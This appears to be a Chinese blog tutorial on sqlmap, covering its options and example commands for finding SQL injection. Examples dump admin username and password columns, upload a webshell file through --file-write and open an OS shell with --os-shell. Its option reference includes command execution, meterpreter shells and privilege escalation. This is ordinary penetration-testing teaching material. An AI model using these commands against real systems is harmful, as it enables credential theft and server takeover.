SQLmap入门

  • 什么是SQLmap
  • SQLmap的参数设定
  • 几个例子
  • SQLmap参数详解

一. 什么是SQLmap

sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器。

sqlmap支持五种不同的注入模式:

  • 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 联合查询注入,可以使用union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持以下数据库

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB


二. SQLmap的参数设置

1. output verbosity -v

通过这个参数来设置输出文本的可见度。共有7个可见度等级,默认等级为1,在这个等级下,information,warning,error,critical messages and python tracebacks会被显示出来。

0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面

2. target

2.1 直接连接数据库 -d

使用sqlmap连接一个数据库,需要下面2种格式的连接字符串。

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
  • DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

示例

1
python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users

2.2 指定目标URL -u --url

使用sqlmap测试目标URL,需要下面格式的URL

1
http(s)://targeturl[:port]/[...]

示例

1
python sqlmap.py -u http://www.target.com/vuln.php?id=1" -f --banner --dbs --usersb

2.3 从站点地图文件中获取目标 -x

为便于搜索引擎收录,许多网站专门为搜索引擎生成了xml格式的站点地图。Sqlmap可以直接解析xml格式的站点地图,从中提取攻击目标,对一个网站全方位无死角地进行注入检测。

示例

1
python sqlmap.py -x http://www.target.com/sitemap.xml

2.4 从文本文件中获取目标 -m

将多个目标URL写在一个文本文件中,sqlmap会按顺序扫描每个URL。

示例

将待测URL写在url.txt中,格式如下

1
2
3
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

运行sqlmap

1
python sqlmap.py -m url.txt

2.5 从文本文件中加载HTTP请求 -r

从文本文件中加载原始HTTP请求,这种方式可以让你跳过输入一些参数,如设置cookie,post数据等。
可以使用BurpSuite抓包并保存HTTP请求文件

HTTP请求文件格式

1
2
3
4
5
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

sqlmap支持HTTPS,可以在命令后加上--force-ssl强制使用SSL连接到443/tcp端口。也可以在Host头后加上:443来使用HTTPS。

3. request

3.1 HTTP 请求方式 --method

sqlmap会自动检测正确的HTTP请求方式。然而,在一些情况下,需要使用不会自动识别的特殊HTTP请求方式,例如PUT,这时就需要指定请求方式。

For example:

1
--method=PUT

3.2 HTTP POST数据 --data

默认情况下,sqlmap使用GET,但你可以通过提供POST数据将请求方式改为POST。这些数据会被当做SQL注入测试的参数。

For example:

1
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

3.3 指定参数分割符 --param-del

有些情况下,默认参数分割符(如GET和POST中的&)需要被指定为新的分割符来保证sqlmap可以正常差分并处理每个参数。

For example:

1
2
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

–cookie
–cookie-del
–load-cookies
–drop-set-cookie

使用这些参数的两种情况:

  • 测试页面需要基于cookie的登录认证,并且你有这些数据
  • 想要测试cookie注入(当--level设置为2或更高时,sqlmap会检测cookie注入)

两种情况均需要使用sqlmap发送cookie,可以使用下方步骤发送cookie

  • 登录网页
  • 从浏览器中获取cookie
  • 将第二步获得cookie作为--cookie的值

注意,HTTP cookie中的值通常由;来分割,而不是&。sqlmap可以从GET和POST参数中,分辨出cookie并将其作为独立参数。为了防止分割符不是;可以通过–-cookie-del来设置分割符。

在后续的连接中,若HTTP响应头仍有Set-Cookie,sqlmap会自动使用之前设置的cookie,并测试这些值。可以通过--drop-set-cookie参数使sqlmap忽略Set-Cookie

反之,如果你提供了一个HTTP Cookie头,并且使用了--cookie,而且目标URL每次都发送HTTP Set-Cookie,这时,sqlmap会询问你要为HTTP请求使用哪组cookie。

可以使用--load-cookies载入文件中包含的Netscape/wget格式的cookie。


三. 几个例子

1. 检测注入

1.1 基本格式

1
sqlmap -u "http://www.target.com/index.php?id=1"

默认使用level1检测全部数据库类型

1
sqlmap -u "http://www.target.com/index.php?id=1"  –dbms mysql –level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

1.2 cookie注入

1
sqlmap -u "http://www.target.com/index.php" –cookie "id=11" –level 2

当程序有防get注入的时候,可以使用cookie注入(只有level达到2才会检测cookie)

1.3 从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\request.txt” -p “username” –dbms mysql 指定username参数

2. 数据库操作

2.1 获取数据库基本信息

查询有哪些数据库

1
sqlmap -u “http://www.target.com/index.php?id=1”  –dbms mysql –level 3 –dbs

查询test数据库中有哪些表

1
sqlmap -u “http://www.target.com/index.php?id=1”  –dbms mysql –level 3 -D test –tables

查询test数据库中admin表有哪些字段

1
sqlmap -u “http://www.target.com/index.php?id=1”  –dbms mysql –level 3 -D test -T admin –columns

dump出字段username与password中的数据

1
sqlmap -u “http://www.target.com/index.php?id=1”  –dbms mysql –level 3 -D test -T admin -C “username,password” –dump

2.2 搜索字段

1
sqlmap -r “c:\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password。

2.3 文件读写

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “c:\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\request.txt” -p id –dms mysql –os-shell

接下来指定网站可写目录:
“c:\php\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个xp_dirtree()函数

四. SQLmap参数详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)


#Options
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)

#保存进度继续跑:
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度


#Target
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。


#Request
#这些选项可以用来指定如何连接到目标URL。
–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL


#Enumeration
#这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell

#Optimization
#这些选项可用于优化SqlMap的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)


#Injection
#这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。#
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据


#Detection
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页


#Techniques
#这些选项可用于调整具体的SQL注入测试。
–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符


#File system access
#这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径


#Operating system access
#这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径


#Windows注册表访问:
#这些选项可以被用来访问后端数据库管理系统Windows注册表。
–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型

#这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file保存选项到INI配置文件
–batch 从不询问用户输入,使用所有默认配置。


#Miscellaneous
–beep 发现SQL注入时提醒
–check-payload IDS对注入payloads的检测测试
–cleanup SqlMap具体的UDF和表清理DBMS
–forms 对目标URL的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
–page-rank Google dork结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面


-------------本文结束感谢您的阅读-------------

本文标题:SQLmap入门

文章作者:J2ck7a1 Ch33

发布时间:2019年05月01日 - 14:05

最后更新:2019年05月01日 - 16:05

原始链接:http://yoursite.com/sqlmap-guidebook/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。


想喝快乐水